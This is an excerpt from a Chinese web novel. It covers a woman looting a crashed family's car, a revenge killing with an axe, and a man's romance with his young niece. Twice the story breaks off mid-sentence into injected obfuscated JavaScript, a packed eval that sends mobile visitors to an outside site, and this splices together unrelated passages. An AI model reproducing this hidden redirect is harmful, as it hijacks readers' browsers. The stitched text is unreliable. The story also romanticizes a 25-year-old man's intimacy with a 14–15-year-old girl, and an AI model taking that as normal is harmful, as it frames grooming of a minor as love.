手机在车顶持续发生声音,女警员温柔地问她出什么事了,方便说话吗。 夜晚十一点,打110,当然是出事了。出大事了。钱晓文把钱从小女孩腿下拔出来时,还带出来半张撕碎的纸。 银行流水账单,一笔接一笔转出去的钱,数额巨大的钱,每一笔都够胡浩再去填十个、二十个、三十个窟窿还用不完。 偏偏她和胡浩连一个窟窿都填得要死要活,而这车的人,随手一拨的一笔款,就那么那么多,多到钱晓文红了眼,滴了血。 她看见熟悉的名字,胡浩经常提起的名字,他说谁谁谁是平城信息科技的董事,要是能拉他走一笔,一天赚几十万都是小数字。又说谁谁谁是矿老板,钱在人家手里就是沙,随便漏一点给他,他们俩这辈子都用不完。 钱晓文听过很多,她喜欢听胡浩说话,所以都记得。 这些有钱人啊,一笔流水就够他俩用不完了,还在乎那点手心沙? 110因为她太久没有出声而挂断了电话,然后,110向她打电话过来了。 钱晓文像入了魔,拿着那半截银行流水单,拿着那两把钱,她绕去了车的另一边,让小女孩给她开窗,她说,这边空旷点,我从这边进去救你。 小女孩盯着她,目光迟疑。 钱晓文几乎要笑了,看吧,有钱人的小孩都这么敏感,对钱这么敏感,都这样了,还不肯漏点钱财。 钱晓文说,我救你妈妈,她伤得很重。 浑身都是血,源源不断的血,从手上、头上留,破碎的车玻璃扎进了她的脸和脖子。血流不止。凭借钱晓文的经验,用不了多久,就会血流而死。 小女孩努力扑过来,不顾腿被座椅卡死,不顾自己疼,扑到另一边车门,拼了命地用那只瘦弱的小手,替钱晓文摁开了窗。 钱晓文先拉了门,打不开。车门前面完全卡主了,被扭曲的前车门卡死了。她只得探身进去,伸手,摸到小女孩腿边,提起了那袋用垃圾袋装着钱,还有压在垃圾袋下面的几张纸,银行流水单。 看,他们多不喜欢钱啊,就这样用垃圾袋糟蹋着。 很沉很重,垃圾袋的两个耳朵承受不住,在她手里断了。钱晓文眼疾手快抱住它们,抱在怀里,手里捏着几张纸,还有一封牛皮纸文件袋。 她的手在抓纸的时候被下面的碎玻璃渣划破了,流出血来,染红了白色的羽绒服。 姐姐! 车里的小女孩惊恐地喊她,瞪大双眼,一脸不知所措,看着她抱着的钱,看着她手里染红的牛皮袋,看着她那快死过去母亲,看着前面发不出声的爸爸。 她惊慌失措地叫姐姐,声音颤抖,眼泪流出来,她发着抖,说姐姐,救救爸爸,救救妈妈……救救他们…… 钱,她不要,全给姐姐,姐姐想要全部都可以,救救妈妈,救救爸爸…… 她不要钱,全给姐姐,救救妈妈…… 她伸出手,瘦瘦小小的手,稚嫩的掌心被血染红了,她朝她伸手,说救救妈妈…… 救救妈妈…… 她想抓她,想抓车门,想开车门,她想出去,但她太小了,不够高,她够不着车门,更够不着车外的钱晓文。 她努力拔自己的腿,裤子被座椅下面的用来移动椅子位置的铁片割破了,血渗出来。她不叫疼,也不哭痛,她只是望着钱晓文,眼里满是哀求,眼泪不受控制地流,在她小小的惨白的沾了血的眼上流出一道一道泪痕,把血都染混了。 她说,救救妈妈,姐姐,救救妈妈,救救爸爸,她不要钱,一分钱都不要,全给姐姐,救救妈妈…… 她在哭,没有哭声的那种哭,悄无声息地哭,只流泪,声音全部用去求她,求她救人,求她救她的妈妈,救她的爸爸。 被她那样可怜又哀求地望着,哭泣着求她,钱晓文差一点就绷不住了,差一点就要扔下钱,说我只是拿出来腾空间,差一点就要拿出手机再打110,打120,打119,不管什么电话,她都打一遍,让医生快点来,让交警快点来,救救她…… “小文!” 一声惊喝吓醒了她。 钱晓文浑身一震,看见了胡浩的师兄,他开着车门,从车里出来,半个身体匍在车门上,惊讶地盯着她。 然后,他冲了过来,问她怎么回事啊? 钱晓文摇头,说不出话来。只是摇头,拼命摇头。 师兄往车里看了一眼,这…… 里面的小女孩浑身是血,双腿流出的血把水蓝色的裤子染成了紫红。她哭着,叫姐姐,叫哥哥,叫妈妈,叫爸爸,叫救救他们…… 师兄吓懵了,他拽住钱晓文。钱晓文将钱紧紧往怀里裹,用羽绒服藏起来。 “快走。” 师兄拖她。 钱晓文踉踉跄跄跟着走,被推上车。 轿车飞似地飙出去。过了好几个路口,在一个红灯前,师兄趴在方向盘上喘气,问怎么回事? 师兄不瞎,知道那不是钱晓文要救他们的场面,就是钱晓文要害人家的场面。 同时,他有点后悔,他应该丢下钱晓文自己走的,但当时的反应是他拉着钱晓文走了。 后悔来不及了,他们只能越走越远,越走越快,远离这里,离开这里。 钱晓文不说话,就抱着那个黑色塑料袋,窝在椅子里,弓着背,不说话。 下一个红灯,师兄去扒拉她,手下的肩膀在抖,寂静的车内,他听见她压抑的哭声。他将人掰过来,钱晓文的泪水糊了一脸,还有血,模糊地挂在脸上,染在衣服上,被眼泪浸晕了。 师兄不敢再问了,怕知道多死得快。 他快速将钱晓文送回去,开车跑了。 这事,谁也没敢提,谁也没敢说。他担心十几天,迎来的是钱晓文继续上班,胡浩起了势,在房地产混得风生水起。平城几个大头老板在他手里买了几十套房产。 师兄想远离他们,但没人离得开钱。尤其是胡浩又近了银行,另一家,混得比之前好。 他们这行,要的就是钱、人脉、钱。源源不断的钱,坚不可摧的人脉。 钱晓文不提,胡浩不说,他也装作不知道。 可人藏着心事,总有漏泄的一天。他喝醉了酒,问胡浩,小文是不是杀人了。 那是他嘴贱,十多年的平安日子让他好奇那晚到底发生了什么。 十几年来,他一直没忘。 胡浩明显不对,但就是不说。他也没再继续问了,毕竟他这些年和胡浩的交情很深,两人理不清的业务,各自吃了对方不少利息,两人都很满意现在的状态。 但很快,师兄发现不对了。自从他问过之后,胡浩的事业有了倾倒意思,他从别的兄弟那边,旁敲侧击也问不出什么,但二十多年的经验告诉他,胡浩就是要出事了。 胡浩找他借钱,要1000万,以往咬咬牙也就借了,唯独这一次,他劝了胡浩。胡浩没听,他当兄弟一场,只借给他200万。 借出去没一个月,他就听见风声了,胡浩这次是真的完了,被人做了局,几个行长连着一个老客户做了胡浩的局,要从胡浩身上套取2个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252518|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亿。 这个数字啊,对于他们而言,或许只是数字。但对于要背债的胡浩而言,这是一把杀人不见血的刀。 果然,不过一个月,胡浩套客户的钱被揭发了,对方要胡浩还钱,不还就上法院。 胡浩还不起,他挪用别的客户的零碎钱正在左挪右用地凑,凑来凑去,终于凑不动了,全盘崩溃。 师兄站在局外,看得太清楚了,这就是一场专门搞胡浩的局。 胡浩再次来找他借钱时,他问胡浩,你到底得罪了谁?把人往死里整。 胡浩说没有,这些年他很本分,用客户的钱都是在自己随时能填补上的能力之内用,从来没有挪用过超出能力之外的钱。他收敛了很多。 胡浩说,他没有挪动那个老客户的钱,是行长,行长挪了老客户的钱转头借给他。但是后台记录显示是他挪的。行长骗了他。 胡浩说,他和行长都没吃过几次饭,不可能得罪行长。 胡浩不是那种花玩的人,更不可能有什么和行长夫人、千金搅在一起的花边新闻。 两人对坐沉默半响。师兄说,不会是你家小文那件是吧? 胡浩登时脸色铁青。 师兄说,所以那晚到底是怎么一回事?你家小文杀谁了,我后来翻过报纸,死的人是平成礼,只活了那个小女孩。平成礼死后,家产公司全被分完了,那个小女孩还是靠平成礼的朋友每个月打钱救济长大的。 胡浩让他别多问,别管。然后匆匆忙忙走了。这句话倒让师兄觉得他是个真兄弟,打了一笔钱给胡浩急用。 再后来,听说胡浩逃出国了,留下钱晓文一个人在国内。 没过多久,一次朋友聚会,他听钱晓文朋友说,钱晓文怀孕了,准备休假一段时间。 他一下子就猜测钱晓文是不是要出国去找胡浩,当即从聚会离开去找了钱晓文。 钱晓文很好找,胡浩倒了之后,他们变卖所有东西后住进了殡仪馆。他往门卫那儿打听了一下,就找到了。 他敲响了钱晓文宿舍的门,没人应。 楼道的灯是老式白炽灯,乌青乌黑,照得身后楼道阴森森。 殡仪馆本来就阴森,这一照更阴森。他不敢多待,又敲了一次门后,直接转身下楼。说起来他独自过来也是喝酒壮了胆,这会儿酒精散了一点,又涌起无限的后悔,后悔当初在车祸现场将钱晓文拉走,他心里始终觉得胡浩这次出事就是和钱晓文那件事有关系。 他的第六感很强,从来没出过错。于是他在这条阴森森的楼道感到害怕时,毫不犹豫地就要走。 刚转身,楼道里一扇门开了。 这是很老的老楼,一道楼梯上楼,左右两边都是楼道,宿舍门和宿舍门斜着对开。 他听胡浩说过,殡仪馆阴冷冷的,宿舍楼几乎没怎么住人,也就钱晓文胆子大,中午去睡个觉什么的。 胡浩说,大中午的正午阳光,他都不敢去宿舍楼,是真佩服钱晓文。 所以他转身看见那个立在楼道昏暗阴影里的人时,也是真佩服胡浩,尽管大中午顶着太阳来。如果给他一个穿越回去的计时器,不用穿很久,就十分钟。他一定在殡仪馆前面那条路的红绿路口跳车回市区。 “找钱晓文?” 是个女声,听声音很年轻,而且很好听,清清的,语速不快不慢,让人感到轻松。就像无论多大的麻烦,落在她面前,都能轻松解决掉的轻松。 他顿住了逃跑的脚,说是的。 那个人说钱晓文去吃食堂吃晚饭了,你过来坐会吧。 他连连摆手,说不用不用,我就在这里等。 也不知道他为什么要说“我就在这里等”,明明他是要回去的。但话都说了,再跑,真没男人面子。 那个女生也没管他,只是将房门开得更大些,让里面的光漏出来。昏暗的楼道登时明亮了几分,也显得没那么可怕了。 他看过去,看见那个女生转身往屋里走。她真的很年轻,刚大学毕业的那种,却没有大学生那种跳脱的味道,而是亭亭玉立——对,他想到了一句诗,轻蔓典雅,亭亭玉立。 隔着不足十米远的距离,让他看直了眼,忍不住看,再看,还想看。可惜人已经进了门。 师兄很没出息地走了过去,尴尬地说:“我还是坐一会儿吧,真是麻烦你——” 人转进屋里,一道厉风狠狠扫来,直接劈到他的天灵盖。他瞪圆了圆,看见那个瘦弱的女生举着一把斧头,狠狠劈在他的头颅上。 或许是力气小了,或许是没料到他太高。斧头将将卡在他额头与鼻梁的骨头,深深卡死了。 血像水一样流出,他还有意识,没有死,感受到液体源源不断往下淌,然后感受到剧痛。 他没死,还没死。但她不在乎他死没死,松开斧头,拍拍手,从他身边走了。 他伸手去抓,紧紧抓,只抓到一把空气,就像当年她伸手去抓,紧紧抓,死死抓,不要腿了地去抓,抓钱晓文,抓他,想让他们救救她的妈妈,抓到一把空气。 嘭! 他砸在地上。 破旧的老房子被他砸得震动了几下。 她从后面抓起他的腿,将他往外面拖,拖进黑暗的走廊里,丢掉他死沉的双腿,这次是真走了。 然后是另外两双手,宽大的手,一双抓住他的腿,一双抓住他的脖颈。合力将他抬了起来,抬下楼,大步大步抬下去。 血滴滴答答,从门口淌过走廊,淌到楼梯,沿着楼梯滴到楼外的泥土里。 他被扔进了车厢。剧烈的扔甩和过渡的流血,让他晕了过去。 平月从值班室出来,手里拿着黑色的储存卡,和那辆载着尸体的车擦肩而过。 月光透过树叶,零星地洒在她脸上。她回头看了眼,老宿舍的楼梯没有监控,只有楼外有一个。 现在,在她手里了。 58. 第 58 章 平成礼的生意刚起一大步,还不稳,每天东奔西跑谈生意,找人拿地皮,搭建各种关系。 之前,他是搭了张泰宏的快班车在平城建起一大波资源,成功挤进平城地产圈。后来,张泰宏嫌国内不好,移居新加坡,平成礼拽着手里的资源,用更快的速度去搭建一个属于自己的牢固圈子。 那是张泰宏出国的第二周,他去黄浦江大酒店。上海最高端的酒店,那些老板们喜欢坐在上面,泡杯茶,抽着雪茄,一面看黄浦江一面谈生意。 张泰宏在国内的时候,这座酒店几乎是张泰宏包圆了。平成礼经常去参加张家的各种宴会。张泰宏出国后,另一批人包圆了这家酒店。 这家大酒店依靠黄浦江风生水起,江不干,它就不倒。 平成礼让司机在酒店门口停车,他的好友在那儿等他,说一起上楼。 那是平成礼最大的生意好友,也是最亲的朋友。 路过大酒店门前高昂的喷泉,他恍惚看见一个人,好像是张家千金。不经意扫过的刹那,他惊了,张泰宏一家已经移居近半个月,他家千金怎么可能在这里? 他停下脚,回头确认。张家千金浑身的伤,遍体鳞伤,如果放在古代,简直就是从乱葬岗爬出来的。全身污脏,满身血,身体以一个不正常的姿势站着,不知道是腿伤了站不稳,还是肩膀伤了往一边倾斜,看起来随时会倒。 平成礼很担心她,问她要不要去医院。 那个人看见他,从最初的茫然到目露惊喜,然后扯着他的袖子要他给她爸爸打电话。她叫他平叔。熟悉的声音,相似的面容,平成礼在内心肯定了她就是张泰宏的女儿。 张泰宏的女儿啊,首富家的女儿啊,怎么流落到这种地步?平成礼是又惊又怕,出于谨慎,拦下了她想要抢手机的手,先问候了张泰宏。 结果在意料之外又在意料之中,张泰宏携妻女已经在新加坡安家了。这个女孩不是张泰宏的女儿,只是长得像而已。 平成礼颇为诧异地打量她,心里直呼这也太像了,但凡她身上没有伤,亭亭站在他面前,他肯定分辨不出真与假。 “成礼!”好友见他久久不过去,一边看时间,一边步履匆忙过来叫他。 今天要见的老板是一个位高权重的人,非常看中时间,不喜欢不守时的人。平成礼找了一圈的人才约见了这一面。 电话被夺了过去,他没有立刻抢回来,怕刺激她,她伤得太严重了。 直到她打完电话,呆立在那里,好友也走了过来,催促他快点,说赶不上了。平成礼才伸手抽回自己的电话,他还想让她去医院看看,他说让司机送她去。她看起来很捉襟见肘,不过没关系,他能帮她支付医药费,就当认错人的赔礼了。 好友没给他说话的机会,拽着他走了。他看眼时间,真的快赶不上了,只能跟着好友匆匆进了大酒店。 好友问他那人是谁。他一五一十告诉他。好友回头看了眼,说真像,又嘲讽一声,说现在连人都会冒充了。 电梯门合上的瞬间,平成礼看见她还愣在那里,神色呆滞,像受到剧烈打击。他放不下心,叫来经理,让经理帮忙送外面的那个女生去医院做检查,他告诉经理,如果对方不愿意,可以进酒店先吃些东西,等一等他,等他谈完生意出来,亲自送她去医院。消费都算他账上,他等会来付。 经理应了。 时间也将将到了他和那位老板面见的时间点,来不及耽搁,他和好友推门进了套房。 生意谈起来,忘了时间,忘了外面的一切。等谈完生意,天色黑透了,江上灯火明亮,是繁华城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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25岁那年,他忽然意识到自己爱上了那个比自己小一轮的侄女,没有血缘关系的侄女。 是爱上,他很清晰的认识到,是比喜欢更强烈的爱意。爱意来得猛烈而急促,也许是在她闯入房间的那一晚,他们对视的第一眼,也许是她在餐桌前不情不愿叫他小叔的那一声,她像一只明晃晃的太阳,炽烈而蛮横地挤进他的生活,闯入他的人生,等他意识到时,已经来不及了。 他开始贪恋那浩浩荡荡的温暖,像烈阳一样炙热的爱意,烧灼了心脏,烧得他心发慌。 他开始刻意逃避和张家的接触,不去宴会,不去聚餐,整天在家里打游戏。意料之外——也许早有所感,游戏里也充斥着她的身影。 是从什么时候发现那个叫钱多多的傻孩子是张姣的呢?是她无时无刻跟着他的时候,是她发过来的信息让他读一遍就能莫名其妙代入她那张趾高气扬的脸的时候,或者是他试探她说开个视频的那晚,她急匆匆下线了,他也急匆匆下线了。 对面的人在害怕,他也害怕。对面害怕被他知道她就是张姣,他也怕那个女孩不知天高地厚真和他开视频,那他这个试探算是把自己埋了进去。 许多年后,他十分肯定当初的自己从最开始就知道那个叫钱多多的账号背后是她,她在隐瞒,他也顺势而为隐瞒,顺便享受她带给他的快乐。 那真是又痛苦又快乐的游戏时光,谁也没戳破,谁都在假装。没良心的时候,都蒙着一层其实早就掀开的纱,互相装不知道。有良心的时候他骂自己是真的贱,不敢上游戏,偶尔忍不住上游戏看见她也不敢去找她,只能一遍一遍和别的女生玩,玩到后来,说不清是他在吃醋还是对方在吃醋,他竟然买了一百多个女号,假装和自己玩。 25岁的他,像一个傻逼的青年,两台电脑挂两个号,一个他的号,一个他买的女的,一起去刷怪,一起做任务,一起看樱花雨,一起坐草坪。 然后,那一百多个女号,被她找的人一个接一个的举报掉了。真是令人又气又恨,还有强压在心底最深处最见不得光的欢喜,一丝丝欢喜,密密麻麻往外溢。 他自己都没意识到,有时候坐在餐桌前吃饭,望着对面那张椅子,他会笑。 兄嫂问他是不是交女朋友了,让他带回家吃饭。许沉陡然清醒过来,他越界了,不管是现实还是游戏,他就是越界了。 第一次,他当了懦夫,连行李都没收拾,跑去了三亚。整天整天地冲浪、晒太阳、躺在沙滩里,将自己埋下去,潜水,将游戏抛到脑后,进行长达一个月的逃避。 三亚的太阳很晒,很烫,烫得身体快焦了,烧焦到心脏上去。他埋在沙子里,感受到沙子灼热的温度,想起了她。像一条小尾巴,在游戏里紧紧坠在他身后,不管他干什么,不管她自己会不会玩游戏,她就是那样居高临下、自信满满地跟着他,和他刷怪,和他下副本。尽管游戏里,她带给他的永远是被大小boss杀死,永远是刷不过去的本,永远让他气得对电脑吐血恨不得提刀杀到她家里去,不可否认,他很贱的又气又欢喜。 享受她跟在他身边,寸步不离,阿沉阿沉地叫。他生气时,就叫哥哥。明明是小叔。辈分全给她叫乱了。 许沉回了上海,因为她的生日,14岁生日。以前,他在国外,不认识她,只知道张家有个刁蛮的公主,一张嘴不饶人,见谁都是斜着眼睛看不起人。 但他就是这样贱,他想去看看那个看不起人高高在上的张姣是怎么过14岁生日的。 14岁之前,他一次没去过,他哥叫他去,他有找不完的借口说不去。张姣14岁这年,他哥没叫他,他屁颠屁颠去了。 看她跟在她爸爸妈妈身边,装乖装得不成样,见人就笑眯眯喊,看见他,更是直呼着大名跑了过来。 怎么敢的啊,那么多人,全是生意场的人,她没大没小直呼他的名字,跑了过来,像夏日雨后炙热的太阳,撞到他身上,烧得他浑身滚烫。比三亚的太阳和沙子还要烫。 他终于知道,同样是太阳,为什么三亚不如上海好了。三亚的太阳毒辣,晒得人烦躁。上海的太阳是温暖的,让他浑身暖洋洋,像活了起来。 张泰宏说她没大没小,让她叫小叔。她露出甜甜的笑意,冲他笑得灿烂,声音像滚了一坛子的蜜,甜甜叫他小叔,叫得他发晕。 他不敢多呆,寒着脸去了天台边。 黄浦江水涛涛,像他压不住的心跳,跳得心事重重。他25岁,她14岁。他是她的小叔,她是他的小侄女。张家和许家是生意场上的关系,尽管人人都说张家和许家亲,实际上张家和许家暗地里有很多竞争,却因为当年张泰宏和他哥一起起家的,彼此斩不断的生意牵连。 两家真是又暗地计较又亲如家人的关系,都各怀心事。 对张家不感兴趣的许沉,在张姣14岁这天,也暗怀心事。 他看她许愿,睁开眼时,那双纯粹的眼眸亮闪闪地望着他,比江面波光粼粼的灯火还明亮而坦白。 他知道,张姣许了关于他的愿望。 张姣问他要礼物,他咬死了不松口,不敢送,真不敢送,怕一送,自己压制的心事就泄露了。 他哥是狡猾的商人,张泰宏也是狡猾的商人,他不敢。张姣那么纯粹,那么小,她的未来无限期望,不该被他牵连。 但她实在太缠人了,缠得人头疼又心慌。她14岁生日,他第一次来给她过生日,没带礼物,许沉自己都心虚。 所以,当她爸爸说如果她中考考到前三名就满足她所有要求时,他顺势而上,也说了这样的话,如果她能考600分以上,他就把14岁礼物补给她。 张姣啊,那么不爱学习,什么都不爱,似乎没有自己兴趣爱好的一个小女孩,他知道她考不了600分的,能考个300分都是他高看她了。 许沉打脸了,她还真给考了600分往上,差4分就满分。张家和许沉都震惊沉默了。 扮猪吃老虎啊。 许沉认栽。他大概这辈子都会栽在她手里。去日本,去看樱花,没樱花,看小鹿。莫名其妙睡到了一间房,从两张床变成一张床再变成两床被子,最后变成一床被子,后来直接变成他的胸口他的肚子他的腿全是她枕脑袋枕腿的人肉垫子。 后面很多年,许沉都想不明白怎么发展成那样。也是许多年后,他知道不是想不明白,是不想去想明白,想明白了,有些东西会要人命。 他26岁27岁,还能被一个15岁的小孩子欺负过去?不是他的默许,她能那样猖狂? 他许沉,不管是在国内学校,还是国外留学,猖狂的只有他。却被一只瘦津津的猫崽子骑到了脖子上。 因为,他心甘情愿被她骑。 心甘情愿是会上瘾的,被骑久了也会上瘾。张姣上了瘾,他也上了瘾,一旦她没来骑时,他感到浑身不舒坦,像天空罩了乌云,整个人的心情沉甸甸的,压抑抑的。 他的情绪变化太明显了,他控制不住。她也瞒不过。他们都失了心,而他从头到尾都是一个很懦弱的人。 从日本到海边别墅,再到回上海,71天的旅游结束。他一声不吭,拿上护照,跑了。 去了俄罗斯。 他想了一夜。他们的感情太疯了,张姣太张扬了,他们根本藏不住。一天都藏不住。迟早会被发现。被发现,会害了她。 之前,他自私,贪恋她浓烈的爱意。这一次,他想纠正他们之间的感情,张姣应该是张姣,许沉应该是许沉。张姣应该在张家,许沉应该在许家。 张姣应该上好的高中,未来上喜欢的大学,学喜欢的课程,做喜欢的事。而不是将她所有的时间、情绪全部给他,也不是将她自己的兴趣爱好填上许沉的名字。 她应该有自己的爱好,她是一个独立的人,她该有自己喜欢的事,为自己做一些事。 她很小,还小,很多事情她不懂,但他懂,与其让她长大了后悔,不如他提前离开,将她拨回正轨。 他害了她一次了,这一次,不能再害她了。 那一晚,许沉是这样想的。 后来,在俄罗斯呆了两年,他哥打电话问他去不去新加坡,说张姣18岁生日,应该来祝贺一声。 他哥没提他们之前的事,就像从来不知道,只问他要不要去。 许沉连续两晚没睡着。没睡着的晚上,他在疯狂思念张姣。那个小小的人,喜欢骑在他脖子上耀武扬威的人,那个生气了躲在花坛后面不想搭理他又等他去找的人,那个瘦弱的趴在他胸口睡得呼呼响的人…… 原本以为出来这么久,不会想了,会随着时间消逝淡忘。然而,他哥只是一句话,就让所有的记忆如开闸的洪水,奔腾而来,一瞬间将他淹没,再也爬不起来。 这些年,看不见她的这些年,他都在拼命想她,发了疯地想她。他根本做不到真正放她去走自己的路,做不到看见她的兴趣爱好变成别的什么东西,哪怕是书是电影是爆米花或者冰激凌都不行,她的兴趣爱好那一栏,只能填“许沉”两个字。 当年,他想丢开的,不是希望她去走更好的路,是他受不了他哥看他的眼神,那种失望透顶的眼神,那种给许家丢脸丢尽的眼神。 他爱上一个比自己小十岁的侄女。他自己都没有办法接受。 他是一个懦夫,打着为她好的幌子,匆匆忙忙再次逃跑了。 …… 许沉去了新加坡,这一次,他决定了,不管发生什么事,不管张姣还记不记得他,对他是愤怒还是厌恶或者想杀死他,他都不会离开了。 哪怕所有人指责他。 他要留在张姣身边,陪她从18岁开始,从头走一遍,走过她的19岁,20岁,21岁……一直到他死去。 人类寿命研究表明,男人总是比女人早死,他又比她大那么多,以后肯定比她死得早。 他会一直陪她到他生命的最后一天,再也不逃了,再也不当懦夫了。 …… 张姣18岁的生日,国内外生意场上的人都来了。 比张姣以往的生日宴办得更大、更奢华、更隆重。 张姣随着她父母游走在各色人之间,有点紧张,但很快适应,变得游刃有余。 许沉站在阳台栏杆前,望着那样的张姣,忽然觉得她有些变了,变得不一样了。 至于哪儿不一样,他一时说不清。 张姣看见他,露出大大的笑容,灿烂的朝他笑着叫了一声“小叔”,走了过来。 不一样了。 尽管她笑得一如既往的灿烂,尽管她的眼眸里是亮闪闪的光,就是不一样了。许沉能感受到,她变了。 是太久没见了吧,是他不声不吭将她丢下去了俄罗斯,是他这些年从来没有主动联系她,所以她变了。 张姣走过来,站在他身边,笑盈盈看他,她问他,俄罗斯好玩吗? 许沉说还行。 张姣说,什么时候带我去俄罗斯玩呀。 许沉说,随时。 总之他很闲,许家的事由他哥扛着,他从不操心。总之他欠张姣很多,是他对不起她,她想做什么,想干什么,想要什么,他都会满足她,弥补这些年的亏欠。 张姣笑起来,眉眼灿烂,那就等我放假哦,你带我去俄罗斯玩! 许沉点头,说好。 他们没说几句话,张姣的父亲过来了,一脸慈爱地和他聊天,像长辈那样。 许沉心头沉甸甸的,说不清是喜欢还是排斥。如果换做两年前,张泰宏怕是得拿刀劈了他。然而,才两年而已,他竟然会这样慈爱而温和地和他讲话。 两年时间,很多东西变了。 甚至是许沉对张姣的心意,好像也有一点变了,心里空洞洞的,总觉得少了什么。 张泰宏带着张姣去给刚来的客人打招呼。许沉站在栏杆前,看阳台外面那颗树,被修剪得圆溜溜的树,比阳台低矮一些,立在那里,孤零零的,在室内散出去的光影里,往草坪投下单薄的黑影。 让他想起两年前的张姣。她生他气,跑出去躲在花坛边,站起来的时候,她的影子和花坛里树啊花啊的影子一起斜斜投在地上,也是这样薄薄的一片。 那时候,她抿着嘴,委屈得不行。 许沉就觉得那道影子也委屈得不行,可怜得不行。明明很愤怒她在异国他乡独自跑出来,可看见她瘦瘦弱弱站在那里,影子薄薄,所有的愤怒都烟消云散,只剩下担忧和后悔,后悔说重话气了她。 手机铃声响了。他收回神,拿起手机。国内的归属地,很偏远的归属地,黄关,许沉没听说过,思索半天都想不起来是哪个省。 他很疑惑地接起来,礼貌性问了一句。听筒那面没有声音。他等了一会,听见呼啸的风声,似乎是很冷的天。隔着听筒,他站在这恒温的宴会厅边缘,很突兀的竟然也感受到了一点凉意。 原来是风从身上吹过,吹翻了他的衬衣袖口,灌进夜风。 他又问了一遍。那边除了风声,还有很急促的呼吸声,而后是呛咳声,像风灌进了喉咙,咳了起来。 “许沉!” 张姣在叫他,站在高台旁边,准备上台了。 他们刚才说好了,等会她上台许愿,他要拿相机给她拍照,要拍好看的。 许沉一手拿手机,一手拿相机,相机对张姣晃了晃,示意自己准备好了。 张姣说:“你快来呀。” 许沉有点对电话那头不耐烦了,问了两三遍都不出声。张姣又在台边望着他,期待他快点过去。 许沉把电话揣进兜里,拿着相机过去了。张姣笑着上了台。 啪!灯光骤灭,蜡烛燃烧,许沉打开那台存着他们许多照片的相机,在台下为她的许愿录像。 她穿着精致的晚礼服,站在台上,蜡烛晕开的昏黄光影里,她眉眼笑开,望向他的地方,高声宣扬出她的愿望,那样的张扬、高调,在黑暗里,许沉空洞的心被一点点填满,他恍惚发觉不是变了,是太久没见,匆匆见了,有些事情没说清,两人之间蒙了一层带着时间的隔阂,所以才感觉变了。 当相处久了,就会变回以前那样了。就像现在台上的张姣,她张开双眼,居高临下,张扬跋扈地许愿,向所有宾客,高声说——许沉,你听好,我的愿望就是—— 永远和我在一起! 也许有人听说过他和张姣的风言风语,也许没人知道,但这一刻,所有人都知道了,张姣喜欢许沉。赶在许沉之前,张姣先宣扬出去了。 许沉下意识去看张泰宏,他一脸慈爱的笑,他早知道会有这一幕,并且不知道因为什么原因,他默许了。他哥也在笑,也默许了。 两家人背着他,在他不知道的时刻,在他和张姣的事情上,达成了共识。 不知道为什么,许沉感觉自己错过了很多东西、很多事情。至于错过了什么,他来不及深究。 所有人看向他,在等他的回复。 没什么好回复的,他来这里的目的和张姣一样,和她在一起,直到他生命的最后一天。 他说好。 掌声雷动,四面八方都在道喜。 许沉被围在中央,接受不认识的人的贺喜,看着那一张张笑脸,忽然感到身心俱疲。 明明他的目的是这样,他来的目的就是为了这一刻,为什么,会感到疲倦? 坐飞机太久?没休息好?没倒完时差?吃得不习惯? 许沉没分析出来,张姣朝他走过来。他们一起从人群里挤出去,去阳台边。 张姣笑着问他刚才和谁打电话。 许沉说不知道。他伸手去拿手机,挂没挂电话他有些忘记了,刚才张姣催促他过去拍照,他好像顺手揣进兜里没挂。手机屏幕是锁屏界面,那通电话挂断了。 他翻出通话记录,通话时长接近两分钟。所以他是没挂电话吗?那后来对方说了什么?很奇怪的,一向对别人事情不感兴趣的许沉忽然对这通电话感兴趣了,他想知道对面那个人是谁,想知道这两分钟里,对方说了什么。 他有了好奇心,心脏微微活了过来,不再是沉甸的。 张姣凑过头来看,看了一眼,拉着他的手,替他关上手机,笑着说,我们去吃蛋糕吧。 今天是她18岁的生日,他得陪她去吃蛋糕,而不是在这里对一通不知道是不是搞怪来电好奇。 许沉抱歉地笑了笑,将手机揣回去,陪她去切蛋糕。 那晚,许沉喝了点酒,和张姣的爸爸,和他哥。回家后,睡了一天一夜,醒来时,已经忘记那通电话了。 等很久很久之后突然想起时,去翻,已经找不到了。 …… 许沉在新加坡住了下来,有时候陪张姣去上课,他见识了张姣的聪慧,学习很快,记忆超绝。 原来以前真是扮猪吃老虎,他问她现在怎么不装了。张姣笑着说,不装啦,再装我爸就要把我撵走啦,撵走了没地方去。 许沉说,张家那么多房产,还怕没地方去吗。 张姣笑笑,说也是哦。 她来新加坡这两年,上海的口音不见了,学了这边的腔调。 许沉有点恍惚。 张姣问他想什么。许沉摇摇头。夕阳从前方辉过来,铺在她笑意盈盈的脸上。 许沉发现,张姣确实变了,不是时间的原因,不是两个人从来不联系的原因,是张姣真的变了,她学会了这边的口音,学会了像她母亲那样温婉的微笑,尽管她总是像以前那样对他眉眼弯弯笑得张扬灿烂,她的笑意里,藏在眉眼间的温婉终究是忽视不过去。 她变得越来越像她的母亲了。 说话也像。 如果是以前的张姣,她肯定会说:“我被撵走了去住你家啊?” 许沉也肯定会说:“睡大街去。” 她会死皮赖脸扒拉着他,拿腔捏势鄙夷他:“小叔冷心冷肠没良心,见死不救,没良心,我告许叔去,禁你零花钱!让你跪着求我养你!” 她就喜欢西边来东边去地胡诌扯一些毫不相干的事,经常把他扯得又气又无奈,都不知道话题跑偏了几颗星球。然后真当她回不了家的时候,他还是会老老实实把她拎回自己家,不会像现在这样,学会了一副官腔话,说什么张家还会少房产吗。 听得他自己都难受,装模作样。 